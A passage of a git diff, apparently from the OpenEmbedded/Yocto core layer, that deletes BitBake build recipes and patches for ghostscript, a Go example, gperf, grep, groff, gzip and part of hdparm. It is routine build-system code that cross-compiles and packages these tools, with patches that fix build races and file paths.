42 PKGCONFIG=pkg-config \
43 "
44
45EXTRA_OECONF:append:mipsarcho32 = " --with-large_color_index=0"
46
47EXTRA_OECONF:append:armv7a = "${@bb.utils.contains('TUNE_FEATURES','neon','',' --disable-neon',d)}"
48EXTRA_OECONF:append:armv7ve = "${@bb.utils.contains('TUNE_FEATURES','neon','',' --disable-neon',d)}"
49
50TARGET_CFLAGS += "-std=gnu17 -Wno-error=declaration-after-statement -fPIC"
51
52# Uses autoconf but not automake, can't do out-of-tree
53inherit autotools-brokensep pkgconfig
54
55# Prune the source tree of libraries that we're using our packaging of, so that
56# ghostscript can't link to them. Can't prune zlib as that's needed for the
57# native tools.
58prune_sources() {
59 rm -rf ${S}/jpeg/ ${S}/libpng/ ${S}/tiff/ ${S}/expat/ ${S}/freetype/ ${S}/cups/lib
60}
61do_unpack[postfuncs] += "prune_sources"
62
63do_install:append () {
64 oe_runmake DESTDIR=${D} install-so
65 oe_runmake DESTDIR=${D} install-data
66 cp -r ${S}/Resource ${D}${datadir}/ghostscript/${PV}/
67 cp -r ${S}/iccprofiles ${D}${datadir}/ghostscript/${PV}/
68}
69
70# ghostscript does not supports "arc"
71COMPATIBLE_HOST = "^(?!arc).*"
72
73# some entries in NVD uses gpl_ghostscript
74CVE_PRODUCT = "ghostscript gpl_ghostscript"
75
76CVE_STATUS[CVE-2023-38560] = "not-applicable-config: PCL isn't part of the Ghostscript release"
diff --git a/meta/recipes-extended/go-examples/go-helloworld_0.1.bb b/meta/recipes-extended/go-examples/go-helloworld_0.1.bb
deleted file mode 100644
index e12dcb15f6..0000000000
--- a/meta/recipes-extended/go-examples/go-helloworld_0.1.bb
+++ /dev/null
@@ -1,25 +0,0 @@
1SUMMARY = "This is a simple example recipe that cross-compiles a Go program."
2SECTION = "examples"
3HOMEPAGE = "https://golang.org/"
4
5LICENSE = "MIT"
6LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
7
8SRC_URI = "git://go.googlesource.com/example;branch=master;protocol=https;destsuffix=${GO_SRCURI_DESTSUFFIX}"
9SRCREV = "8b405629c4a5215871be932097e099c05ec5cb2e"
10UPSTREAM_CHECK_COMMITS = "1"
11
12GO_IMPORT = "golang.org/x/example"
13GO_INSTALL = "${GO_IMPORT}/hello"
14
15export GO111MODULE = "off"
16
17inherit go
18
19# This is just to make clear where this example is
20do_install:append() {
21 mv ${D}${bindir}/hello ${D}${bindir}/${BPN}
22}
23
24# /usr/lib/go/src/golang.org/x/example/ragserver/tests/weaviate-show-all.sh is requiring bash
25RDEPENDS:${PN}-dev += "bash"
diff --git a/meta/recipes-extended/gperf/gperf_3.3.bb b/meta/recipes-extended/gperf/gperf_3.3.bb
deleted file mode 100644
index 7af2130114..0000000000
--- a/meta/recipes-extended/gperf/gperf_3.3.bb
+++ /dev/null
@@ -1,19 +0,0 @@
1DESCRIPTION = "GNU gperf is a perfect hash function generator"
2HOMEPAGE = "http://www.gnu.org/software/gperf"
3SUMMARY = "Generate a perfect hash function from a set of keywords"
4LICENSE = "GPL-3.0-or-later"
5LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
6 file://src/main.cc;beginline=8;endline=19;md5=ca1c43fa02be95aa2e10d567684e6fd5"
7
8SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz"
9SRC_URI[sha256sum] = "fd87e0aba7e43ae054837afd6cd4db03a3f2693deb3619085e6ed9d8d9604ad8"
10
11inherit autotools
12
13# The nested configures don't find the parent aclocal.m4 out of the box, so tell
14# it where to look explicitly (mirroring the behaviour of upstream's Makefile.devel).
15EXTRA_AUTORECONF += " -I ${S} --exclude=aclocal"
16
17CFLAGS += "-std=gnu17"
18
19BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/grep/grep_3.12.bb b/meta/recipes-extended/grep/grep_3.12.bb
deleted file mode 100644
index 2678d2d41e..0000000000
--- a/meta/recipes-extended/grep/grep_3.12.bb
+++ /dev/null
@@ -1,43 +0,0 @@
1SUMMARY = "GNU grep utility"
2HOMEPAGE = "http://savannah.gnu.org/projects/grep/"
3DESCRIPTION = "Grep searches one or more input files for lines containing a match to a specified pattern. By default, grep prints the matching lines."
4BUGTRACKER = "http://savannah.gnu.org/bugs/?group=grep"
5SECTION = "console/utils"
6LICENSE = "GPL-3.0-only"
7LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
8
9SRC_URI = "${GNU_MIRROR}/grep/grep-${PV}.tar.xz"
10
11SRC_URI[sha256sum] = "2649b27c0e90e632eadcd757be06c6e9a4f48d941de51e7c0f83ff76408a07b9"
12
13inherit autotools gettext texinfo pkgconfig
14
15do_configure:prepend () {
16 sed -i -e '1s,#!@SHELL@,#!/bin/sh,' ${S}/src/egrep.sh
17 rm -f ${S}/m4/init.m4
18}
19
20do_install () {
21 autotools_do_install
22 if [ "${base_bindir}" != "${bindir}" ]; then
23 install -d ${D}${base_bindir}
24 mv ${D}${bindir}/grep ${D}${base_bindir}/grep
25 mv ${D}${bindir}/egrep ${D}${base_bindir}/egrep
26 mv ${D}${bindir}/fgrep ${D}${base_bindir}/fgrep
27 rmdir ${D}${bindir}/
28 fi
29}
30
31inherit update-alternatives
32
33PACKAGECONFIG ??= "pcre"
34PACKAGECONFIG[pcre] = "--enable-perl-regexp,--disable-perl-regexp,libpcre2"
35
36ALTERNATIVE_PRIORITY = "100"
37
38ALTERNATIVE:${PN} = "grep egrep fgrep"
39ALTERNATIVE_LINK_NAME[grep] = "${base_bindir}/grep"
40ALTERNATIVE_LINK_NAME[egrep] = "${base_bindir}/egrep"
41ALTERNATIVE_LINK_NAME[fgrep] = "${base_bindir}/fgrep"
42
43BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch b/meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch
deleted file mode 100644
index 6dc84c9062..0000000000
--- a/meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch
+++ /dev/null
@@ -1,25 +0,0 @@
1From aa1f37f1e0ff0dc0eeb199b52959e0deb275721e Mon Sep 17 00:00:00 2001
2From: Jeremy Puhlman <jpuhlman@mvista.com>
3Date: Sat, 7 Mar 2020 00:59:13 +0000
4Subject: [PATCH] Make manpages mulitlib identical
5
6Upstream-Status: Submitted [by email to g.branden.robinson@gmail.com]
7Signed-off-by: Jeremy Puhlman <jpuhlman@mvista.com>
8
9---
10 Makefile.am | 2 +-
11 1 file changed, 1 insertion(+), 1 deletion(-)
12
13diff --git a/Makefile.am b/Makefile.am
14index f7ab410..7e1f3fb 100644
15--- a/Makefile.am
16+++ b/Makefile.am
17@@ -891,7 +891,7 @@ SUFFIXES += .man
18 -e "s|[@]PAGE[@]|\\\\%$(PAGE)|g" \
19 -e "s|[@]PDFDOCDIR[@]|`echo $(pdfdocdir) | sed -f $(makevarescape)`|g" \
20 -e "s|[@]PSPRINT[@]|`echo $(PSPRINT) | sed -f $(makevarescape)`|g" \
21- -e "s|[@]SYSTEMMACRODIR[@]|`echo $(systemtmacdir) | sed -f $(makevarescape)`|g" \
22+ -e "s|[@]SYSTEMMACRODIR[@]|`echo $(systemtmacdir) | sed -e 's,$(libdir),$(prefix)/lib*,' | sed -f $(makevarescape)`|g" \
23 -e "s|[@]TMAC_AN_PREFIX[@]|\\\\%$(tmac_an_prefix)|g" \
24 -e "s|[@]TMAC_M_PREFIX[@]|\\\\%$(tmac_m_prefix)|g" \
25 -e "s|[@]TMAC_MDIR[@]|`echo $(tmacdir) | sed -f $(makevarescape)`/mm|g" \
diff --git a/meta/recipes-extended/groff/files/0001-build-Fix-Savannah-64681-webpage.ps-deps.patch b/meta/recipes-extended/groff/files/0001-build-Fix-Savannah-64681-webpage.ps-deps.patch
deleted file mode 100644
index eae5dc9998..0000000000
--- a/meta/recipes-extended/groff/files/0001-build-Fix-Savannah-64681-webpage.ps-deps.patch
+++ /dev/null
@@ -1,51 +0,0 @@
1From c75965053124149381ada3c394da74be078076cf Mon Sep 17 00:00:00 2001
2From: "G. Branden Robinson" <g.branden.robinson@gmail.com>
3Date: Sat, 16 Sep 2023 16:28:00 -0500
4Subject: [PATCH] [build]: Fix Savannah #64681 (webpage.ps deps).
5
6* doc/doc.am (doc/webpage.ps, doc/webpage.html): Update and parallelize
7 target dependencies. Resolve race by requiring "grn" and "soelim" to
8 be built first. Also add dependency on `$(TMAC_PACKAGE_MS)`.
9
10Fixes <https://savannah.gnu.org/bugs/?64681>. Thanks to Alexander
11Kanavin for the report.
12
13ANNOUNCE: Acknowledge Alexander.
14
15Upstream-Status: Backport
16Signed-off-by: Alexander Kanavin <alex@linutronix.de>
17---
18 doc/doc.am | 12 ++++++++----
19 1 file changed, 8 insertions(+), 4 deletions(-)
20
21diff --git a/doc/doc.am b/doc/doc.am
22index cddc51907..d3c9ab6b7 100644
23--- a/doc/doc.am
24+++ b/doc/doc.am
25@@ -346,6 +346,9 @@ doc/pic.ps: $(doc_srcdir)/pic.ms eqn pic tbl
26 $(GROFF_V)$(MKDIR_P) `dirname $@` \
27 && $(DOC_GROFF) -pet -Tps -ms $(doc_srcdir)/pic.ms >$@
28
29+# groff(1)'s `-I` implies `-g` and `-s`, so we must depend on grn and
30+# soelim even though the document doesn't require them.
31+doc/webpage.ps: grn soelim
32 doc/webpage.ps: $(DOC_GNU_EPS) tmac/www.tmac tbl
33 doc/webpage.ps: $(doc_srcdir)/webpage.ms
34 $(GROFF_V)$(MKDIR_P) `dirname $@` \
35@@ -365,11 +368,12 @@ doc/pic.html: $(doc_srcdir)/pic.ms
36 && $(DOC_GROFF) -pet -P-Ipic -P-Dimg -P-jpic -Thtml -ms \
37 $(doc_srcdir)/pic.ms > pic.html
38
39-doc/webpage.html: tbl
40-doc/webpage.html: tmac/www.tmac
41-doc/webpage.html: $(DOC_GNU_EPS)
42+# groff(1)'s `-I` implies `-g` and `-s`, so we must depend on grn and
43+# soelim even though the document doesn't require them.
44+doc/webpage.html: grn soelim
45+doc/webpage.html: $(DOC_GNU_EPS) tmac/www.tmac tbl
46 doc/webpage.html: $(doc_srcdir)/groff.css
47-doc/webpage.html: $(doc_srcdir)/webpage.ms
48+doc/webpage.html: $(doc_srcdir)/webpage.ms $(TMAC_PACKAGE_MS)
49 $(GROFF_V)$(MKDIR_P) $(doc_builddir) \
50 && cd $(doc_builddir) \
51 && $(DOC_GROFF) -t -I $(doc_srcdir) -P-jwebpage -P-nrb \
diff --git a/meta/recipes-extended/groff/files/0001-build-meintro_fr.ps-depends-on-tbl.patch b/meta/recipes-extended/groff/files/0001-build-meintro_fr.ps-depends-on-tbl.patch
deleted file mode 100644
index 3e81b86ac8..0000000000
--- a/meta/recipes-extended/groff/files/0001-build-meintro_fr.ps-depends-on-tbl.patch
+++ /dev/null
@@ -1,31 +0,0 @@
1From f21e9f13beb57a1e0666edf9693d7c83f2189897 Mon Sep 17 00:00:00 2001
2From: "G. Branden Robinson" <g.branden.robinson@gmail.com>
3Date: Fri, 22 Sep 2023 01:27:57 -0500
4Subject: [PATCH] [build]: meintro_fr.ps depends on tbl.
5
6* doc/doc.am (doc/meintro_fr.ps): Depend on tbl, resolving race in
7 sufficiently parallelized builds. Overlooked in commit 92349ae223,
8 2022-05-30.
9
10Fixes <https://savannah.gnu.org/bugs/?64695>. Thanks to Alexander
11Kanavin for the report.
12
13Upstream-Status: Backport
14Signed-off-by: Alexander Kanavin <alex@linutronix.de>
15---
16 doc/doc.am | 2 +-
17 1 file changed, 1 insertion(+), 1 deletion(-)
18
19diff --git a/doc/doc.am b/doc/doc.am
20index d3c9ab6b7..0f95c7774 100644
21--- a/doc/doc.am
22+++ b/doc/doc.am
23@@ -334,7 +334,7 @@ SUFFIXES += .me.in .me
24
25 # Use '-K utf8', not '-k', in case 'configure' didn't find uchardet.
26 # The French translation uses tbl; its English counterpart does not.
27-doc/meintro_fr.ps: doc/meintro_fr.me preconv
28+doc/meintro_fr.ps: doc/meintro_fr.me preconv tbl
29 $(GROFF_V)$(MKDIR_P) `dirname $@` \
30 && $(DOC_GROFF) -K utf8 -t -Tps -me -mfr $< >$@
31
diff --git a/meta/recipes-extended/groff/files/0001-contrib-hdtbl-hdtbl.am-Fix-race-issues-for-parallel-.patch b/meta/recipes-extended/groff/files/0001-contrib-hdtbl-hdtbl.am-Fix-race-issues-for-parallel-.patch
deleted file mode 100644
index de4a55bbab..0000000000
--- a/meta/recipes-extended/groff/files/0001-contrib-hdtbl-hdtbl.am-Fix-race-issues-for-parallel-.patch
+++ /dev/null
@@ -1,31 +0,0 @@
1From 771686c042d5f494550d0399f36e00b1ca557b2d Mon Sep 17 00:00:00 2001
2From: Robert Yang <liezhi.yang@windriver.com>
3Date: Mon, 11 Nov 2024 14:12:51 +0000
4Subject: [PATCH] contrib/hdtbl/hdtbl.am: Fix race issues for parallel build
5
6Fixed race issues for parallel build:
7groff: error: couldn't exec soelim: Permission
8
9And:
10groff: error: couldn't exec grn: Permission denied
11
12Upstream-Status: Submitted [https://lists.gnu.org/archive/html/groff/2024-11/msg00097.html]
13
14Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
15---
16 contrib/hdtbl/hdtbl.am | 2 +-
17 1 file changed, 1 insertion(+), 1 deletion(-)
18
19diff --git a/contrib/hdtbl/hdtbl.am b/contrib/hdtbl/hdtbl.am
20index 9384fac..70f7bc9 100644
21--- a/contrib/hdtbl/hdtbl.am
22+++ b/contrib/hdtbl/hdtbl.am
23@@ -119,7 +119,7 @@ SUFFIXES += .roff .in .ps
24 -e "s|[@]EGREP[@]|$(EGREP)|" $< >$@
25
26 $(HDTBLPROCESSEDEXAMPLEFILES): $(DOC_GNU_EPS) groff troff eqn pic tbl \
27- grops grn font/devps/stamp contrib/hdtbl/examples/common.roff
28+ grops grn soelim font/devps/stamp contrib/hdtbl/examples/common.roff
29
30 uninstall_groffdirs: uninstall-hdtbl-hook
31 uninstall-hdtbl-hook:
diff --git a/meta/recipes-extended/groff/files/0001-getopt-Fix-type-signature-for-getenv.patch b/meta/recipes-extended/groff/files/0001-getopt-Fix-type-signature-for-getenv.patch
deleted file mode 100644
index c69a2b4f67..0000000000
--- a/meta/recipes-extended/groff/files/0001-getopt-Fix-type-signature-for-getenv.patch
+++ /dev/null
@@ -1,27 +0,0 @@
1From b68b3c6157c531bdcf5812fd93aadff9c18de6bd Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Sat, 22 Mar 2025 14:41:23 -0700
4Subject: [PATCH] getopt: Fix type signature for getenv()
5
6This fixes build on musl with GCC 15
7
8Upstream-Status: Inappropriate [Next version is use getopt.c from gnulib]
9
10Signed-off-by: Khem Raj <raj.khem@gmail.com>
11---
12 src/libs/libgroff/getopt.c | 2 +-
13 1 file changed, 1 insertion(+), 1 deletion(-)
14
15diff --git a/src/libs/libgroff/getopt.c b/src/libs/libgroff/getopt.c
16index 6efa529..ce39115 100644
17--- a/src/libs/libgroff/getopt.c
18+++ b/src/libs/libgroff/getopt.c
19@@ -122,7 +122,7 @@ static struct _getopt_data getopt_data;
20 whose names are inconsistent. */
21
22 #ifndef getenv
23-extern char *getenv ();
24+extern char *getenv (const char *);
25 #endif
26
27 #endif /* not __GNU_LIBRARY__ */
diff --git a/meta/recipes-extended/groff/files/0001-hdtbl-Fix-Savannah-66316-missing-grn-dep.patch b/meta/recipes-extended/groff/files/0001-hdtbl-Fix-Savannah-66316-missing-grn-dep.patch
deleted file mode 100644
index d9455af2ac..0000000000
--- a/meta/recipes-extended/groff/files/0001-hdtbl-Fix-Savannah-66316-missing-grn-dep.patch
+++ /dev/null
@@ -1,38 +0,0 @@
1From 12169aa269341753d491a69e9adb86c58dca039a Mon Sep 17 00:00:00 2001
2From: "G. Branden Robinson" <g.branden.robinson@gmail.com>
3Date: Thu, 10 Oct 2024 18:17:08 -0500
4Subject: [PATCH] [hdtbl]: Fix Savannah #66316 (missing `grn` dep).
5
6* hdtbl.am (HDTBLPROCESSEDEXAMPLEFILES): Declare dependency on `grn`;
7 because `-I` flags are used, it is dragged in even though not
8 explicitly needed. Resolves race against `grn`'s availability in the
9 build tree.
10
11Fixes <https://savannah.gnu.org/bugs/?66316>. Thanks to Ross Burton for
12the report.
13
14Upstream-Status: Backport
15Signed-off-by: Ross Burton <ross.burton@arm.com>
16---
17 contrib/hdtbl/ChangeLog | 10 ++++++++++
18 contrib/hdtbl/hdtbl.am | 3 +--
19 2 files changed, 11 insertions(+), 2 deletions(-)
20
21diff --git a/contrib/hdtbl/hdtbl.am b/contrib/hdtbl/hdtbl.am
22index b6c334c18..3c37174f2 100644
23--- a/contrib/hdtbl/hdtbl.am
24+++ b/contrib/hdtbl/hdtbl.am
25@@ -119,9 +119,8 @@ SUFFIXES += .roff .in .ps
26 && sed -e "s|[@]fontdir[@]|$(fontdir)|" \
27 -e "s|[@]EGREP[@]|$(EGREP)|" $< >$@
28
29-
30 $(HDTBLPROCESSEDEXAMPLEFILES): $(DOC_GNU_EPS) groff troff eqn pic tbl \
31- grops font/devps/stamp contrib/hdtbl/examples/common.roff
32+ grops grn font/devps/stamp contrib/hdtbl/examples/common.roff
33
34 uninstall_groffdirs: uninstall-hdtbl-hook
35 uninstall-hdtbl-hook:
36--
372.34.1
38
diff --git a/meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch b/meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch
deleted file mode 100644
index 23992576f9..0000000000
--- a/meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch
+++ /dev/null
@@ -1,39 +0,0 @@
1From eb16276c3e2e34aa2e57f6a0e68554657b90cd28 Mon Sep 17 00:00:00 2001
2From: Hongxu Jia <hongxu.jia@windriver.com>
3Date: Sat, 11 May 2019 17:06:29 +0800
4Subject: [PATCH] groff searchs fonts which are provided by ghostscript on
5 build host. It causes non-determinism issue. So not search font dirs on host.
6
7Upstream-Status: Inappropriate [cross build specific]
8
9Signed-off-by: Kai Kang <kai.kang@windriver.com>
10
11Rebase to 1.22.4
12Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
13
14---
15 font/devpdf/Foundry.in | 4 ++--
16 1 file changed, 2 insertions(+), 2 deletions(-)
17
18diff --git a/font/devpdf/Foundry.in b/font/devpdf/Foundry.in
19index e5aba65..5441734 100644
20--- a/font/devpdf/Foundry.in
21+++ b/font/devpdf/Foundry.in
22@@ -20,7 +20,7 @@
23
24 #=======================================================================
25 #Foundry|Name|Search path
26-foundry||@urwfontsdir@:(gs):/usr/share/fonts/type1/gsfonts:/usr/share/fonts/default/Type1:/usr/share/fonts/default/Type1/adobestd35:/usr/share/fonts/type1/urw-base35:/opt/local/share/fonts/urw-fonts:/usr/local/share/fonts/ghostscript
27+foundry||(gs)
28
29 # Enable the font description files for grops (generated from Adobe
30 # foundry font files) to be used with gropdf. afmtodit must not be
31@@ -72,7 +72,7 @@ EURO|N||||*../devps/freeeuro.pfa
32 # URW fonts are typically shipped with Ghostscript, but can be replaced.
33
34 #Foundry|Name|Search path
35-foundry|U|@urwfontsdir@:/usr/share/fonts/type1/gsfonts:/usr/share/fonts/default/Type1:/usr/share/fonts/default/Type1/adobestd35:/usr/share/fonts/type1/urw-base35:/opt/local/share/fonts/urw-fonts:/usr/local/share/fonts/ghostscript:(gs)
36+foundry|U|(gs)
37
38 # Define flags for afmtodit.
39
diff --git a/meta/recipes-extended/groff/groff_1.23.0.bb b/meta/recipes-extended/groff/groff_1.23.0.bb
deleted file mode 100644
index 0c2ef61758..0000000000
--- a/meta/recipes-extended/groff/groff_1.23.0.bb
+++ /dev/null
@@ -1,81 +0,0 @@
1SUMMARY = "GNU Troff software"
2DESCRIPTION = "The groff (GNU troff) software is a typesetting package which reads plain text mixed with \
3formatting commands and produces formatted output."
4SECTION = "base"
5HOMEPAGE = "http://www.gnu.org/software/groff/"
6LICENSE = "GPL-3.0-only"
7
8LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
9
10SRC_URI = "${GNU_MIRROR}/groff/groff-${PV}.tar.gz \
11 file://groff-not-search-fonts-on-build-host.patch \
12 file://0001-Make-manpages-mulitlib-identical.patch \
13 file://0001-build-Fix-Savannah-64681-webpage.ps-deps.patch \
14 file://0001-build-meintro_fr.ps-depends-on-tbl.patch \
15 file://0001-hdtbl-Fix-Savannah-66316-missing-grn-dep.patch \
16 file://0001-contrib-hdtbl-hdtbl.am-Fix-race-issues-for-parallel-.patch \
17 file://0001-getopt-Fix-type-signature-for-getenv.patch \
18 "
19
20SRC_URI[sha256sum] = "6b9757f592b7518b4902eb6af7e54570bdccba37a871fddb2d30ae3863511c13"
21
22DEPENDS = "bison-native groff-native"
23RDEPENDS:${PN} += "perl sed"
24
25inherit autotools-brokensep texinfo multilib_script pkgconfig
26
27MULTILIB_SCRIPTS = "${PN}:${bindir}/gpinyin ${PN}:${bindir}/grog"
28
29EXTRA_OECONF = "--without-x --with-urw-fonts-dir=/completely/bogus/dir/"
30EXTRA_OEMAKE:class-target = "GROFFBIN=groff GROFF_BIN_PATH=${STAGING_BINDIR_NATIVE}"
31
32CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl' ac_cv_path_BASH_PROG='no' PAGE=A4"
33
34# Delete these generated files since we depend on bison-native
35# and regenerate them. Do it deterministically (always).
36do_configure:prepend() {
37 rm -f ${S}/src/preproc/eqn/eqn.cpp
38 rm -f ${S}/src/preproc/eqn/eqn.hpp
39}
40
41do_install:append() {
42 # Some distros have both /bin/perl and /usr/bin/perl, but we set perl location
43 # for target as /usr/bin/perl, so fix it to /usr/bin/perl.
44 for i in afmtodit mmroff gropdf pdfmom grog; do
45 if [ -f ${D}${bindir}/$i ]; then
46 sed -i -e '1s,#!.*perl,#! ${USRBINPATH}/env perl,' ${D}${bindir}/$i
47 fi
48 done
49 if [ -e ${D}${libdir}/charset.alias ]; then
50 rm -rf ${D}${libdir}/charset.alias
51 fi
52
53 # awk is located at /usr/bin/, not /bin/
54 SPECIAL_AWK=`find ${D} -name special.awk`
55 if [ -f ${SPECIAL_AWK} ]; then
56 sed -i -e 's:#!.*awk:#! ${USRBINPATH}/awk:' ${SPECIAL_AWK}
57 fi
58
59 # not ship /usr/bin/glilypond and its releated files in embedded target system
60 rm -rf ${D}${bindir}/glilypond
61 rm -rf ${D}${libdir}/groff/glilypond
62 rm -rf ${D}${mandir}/man1/glilypond*
63
64 # not ship /usr/bin/grap2graph and its releated man files
65 rm -rf ${D}${bindir}/grap2graph
66 rm -rf ${D}${mandir}/man1/grap2graph*
67
68 # strip hosttool path out of generated files
69 sed -i -e 's:${HOSTTOOLS_DIR}/::g' ${D}${docdir}/${BP}/examples/hdtbl/*.roff
70}
71
72do_install:append:class-native() {
73 create_cmdline_wrapper ${D}/${bindir}/groff \
74 -F${STAGING_DIR_NATIVE}${datadir_native}/groff/${PV}/font \
75 -M${STAGING_DIR_NATIVE}${datadir_native}/groff/${PV}/tmac
76}
77
78FILES:${PN} += "${libdir}/${BPN}/site-tmac \
79 ${libdir}/${BPN}/groffer/"
80
81BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/gzip/files/run-ptest b/meta/recipes-extended/gzip/files/run-ptest
deleted file mode 100644
index ee6b4326fa..0000000000
--- a/meta/recipes-extended/gzip/files/run-ptest
+++ /dev/null
@@ -1,3 +0,0 @@
1#!/bin/sh
2
3VERBOSE=1 make -C src/tests check
diff --git a/meta/recipes-extended/gzip/gzip-1.14/wrong-path-fix.patch b/meta/recipes-extended/gzip/gzip-1.14/wrong-path-fix.patch
deleted file mode 100644
index 4d5e7a8e02..0000000000
--- a/meta/recipes-extended/gzip/gzip-1.14/wrong-path-fix.patch
+++ /dev/null
@@ -1,35 +0,0 @@
1From eda9b1d08c517acbdc5b26c24c94a3985f29c749 Mon Sep 17 00:00:00 2001
2From: Ming Liu <ming.liu@windriver.com>
3Date: Fri, 21 Nov 2014 04:50:57 -0500
4Subject: [PATCH] fix MakeMaker issues with using wrong SHELL/GREP
5
6A set of substitution is being processed to all target scripts with sed by
7replacing some key words with the detected values at configure time, this
8is exactly not compliant with cross compling, and will cause missing path
9errors at run time like:
10"/usr/bin/zgrep: line 230: /usr/bin/grep: No such file or directory"
11
12Fixed by removing unneeded substitution and using real runtime paths
13instead.
14
15Signed-off-by: Ming Liu <ming.liu@windriver.com>
16
17Upstream-Status: Pending
18---
19 Makefile.am | 3 +--
20 1 file changed, 1 insertion(+), 2 deletions(-)
21
22diff --git a/Makefile.am b/Makefile.am
23index 23e0d3e..3455878 100644
24--- a/Makefile.am
25+++ b/Makefile.am
26@@ -95,8 +95,7 @@ SUFFIXES = .in
27 .in:
28 $(AM_V_GEN)rm -f $@-t $@ \
29 && sed \
30- -e 's|/bin/sh|$(SHELL)|g' \
31- -e 's|[@]GREP@|$(GREP)|g' \
32+ -e 's|[@]GREP@|$(base_bindir)/grep|g' \
33 -e "s|'gzip'|$(GZIP_TRANSFORMED)|g" \
34 -e "s|'zdiff'|$(ZDIFF_TRANSFORMED)|g" \
35 -e "s|'zgrep'|$(ZGREP_TRANSFORMED)|g" \
diff --git a/meta/recipes-extended/gzip/gzip.inc b/meta/recipes-extended/gzip/gzip.inc
deleted file mode 100644
index 12232dd4da..0000000000
--- a/meta/recipes-extended/gzip/gzip.inc
+++ /dev/null
@@ -1,33 +0,0 @@
1SUMMARY = "Standard GNU compressor"
2DESCRIPTION = "GNU Gzip is a popular data compression program originally written by Jean-loup Gailly for the GNU \
3project. Mark Adler wrote the decompression part"
4HOMEPAGE = "http://www.gnu.org/software/gzip/"
5SECTION = "console/utils"
6
7inherit autotools texinfo
8export DEFS = "NO_ASM"
9
10EXTRA_OEMAKE:class-target = "GREP=${base_bindir}/grep"
11EXTRA_OEMAKE:append:class-nativesdk = " GREP=grep"
12EXTRA_OECONF:append:libc-musl = " gl_cv_func_fflush_stdin=yes "
13
14do_install:append () {
15 if [ "${base_bindir}" != "${bindir}" ]; then
16 # Rename and move files into /bin (FHS), which is typical place for gzip
17 install -d ${D}${base_bindir}
18 mv ${D}${bindir}/gunzip ${D}${base_bindir}/gunzip
19 mv ${D}${bindir}/gzip ${D}${base_bindir}/gzip
20 mv ${D}${bindir}/zcat ${D}${base_bindir}/zcat
21 mv ${D}${bindir}/uncompress ${D}${base_bindir}/uncompress
22 fi
23}
24
25inherit update-alternatives
26
27ALTERNATIVE_PRIORITY = "100"
28ALTERNATIVE:${PN} = "gunzip gzip zcat"
29ALTERNATIVE_LINK_NAME[gunzip] = "${base_bindir}/gunzip"
30ALTERNATIVE_LINK_NAME[gzip] = "${base_bindir}/gzip"
31ALTERNATIVE_LINK_NAME[zcat] = "${base_bindir}/zcat"
32
33export CONFIG_SHELL = "/bin/sh"
diff --git a/meta/recipes-extended/gzip/gzip_1.14.bb b/meta/recipes-extended/gzip/gzip_1.14.bb
deleted file mode 100644
index c7837cdae0..0000000000
--- a/meta/recipes-extended/gzip/gzip_1.14.bb
+++ /dev/null
@@ -1,43 +0,0 @@
1require gzip.inc
2
3# change to GPL-3.0-or-later in 2007/07. Previous GPL-2.0-or-later version is
4# 1.3.12
5LICENSE = "GPL-3.0-or-later"
6
7SRC_URI = "${GNU_MIRROR}/gzip/${BP}.tar.gz \
8 file://run-ptest \
9 "
10SRC_URI:append:class-target = " file://wrong-path-fix.patch"
11
12LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
13 file://gzip.h;beginline=8;endline=20;md5=a22158dc3dd3f5cf6e5a556940a49212 \
14 "
15
16PROVIDES:append:class-native = " gzip-replacement-native"
17
18RDEPENDS:${PN}-ptest += "make perl grep diffutils coreutils"
19
20BBCLASSEXTEND = "native nativesdk"
21
22inherit ptest
23
24do_install_ptest() {
25 mkdir -p ${D}${PTEST_PATH}/src/build-aux
26 cp ${S}/build-aux/test-driver ${D}${PTEST_PATH}/src/build-aux/
27 mkdir -p ${D}${PTEST_PATH}/src/tests
28 cp -r ${S}/tests/* ${D}${PTEST_PATH}/src/tests
29 sed -e 's/^abs_srcdir = ..*/abs_srcdir = \.\./' \
30 -e 's/^top_srcdir = ..*/top_srcdir = \.\./' \
31 -e 's/^GREP = ..*/GREP = grep/' \
32 -e 's/^AWK = ..*/AWK = awk/' \
33 -e 's/^srcdir = ..*/srcdir = \./' \
34 -e 's/^Makefile: ..*/Makefile: /' \
35 -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
36 -e 's|${DEBUG_PREFIX_MAP}||g' \
37 -e 's|${BUILD_LDFLAGS}||g' \
38 -e 's:${HOSTTOOLS_DIR}/::g' \
39 -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
40 ${B}/tests/Makefile > ${D}${PTEST_PATH}/src/tests/Makefile
41}
42
43SRC_URI[sha256sum] = "613d6ea44f1248d7370c7ccdeee0dd0017a09e6c39de894b3c6f03f981191c6b"
diff --git a/meta/recipes-extended/hdparm/hdparm/wiper.sh-fix-stat-path.patch b/meta/recipes-extended/hdparm/hdparm/wiper.sh-fix-stat-path.patch
deleted file mode 100644
index 4af1b617ed..0000000000
--- a/meta/recipes-extended/hdparm/hdparm/wiper.sh-fix-stat-path.patch
+++ /dev/null
@@ -1,38 +0,0 @@
1From e233006ee212109d2a1401dac37a9a851cc493d8 Mon Sep 17 00:00:00 2001
2From: Yi Zhao <yi.zhao@windriver.com>
3Date: Thu, 14 Dec 2017 15:23:47 +0800
4Subject: [PATCH] wiper.sh: fix stat path
5
6Fix the stat path for OE.
7
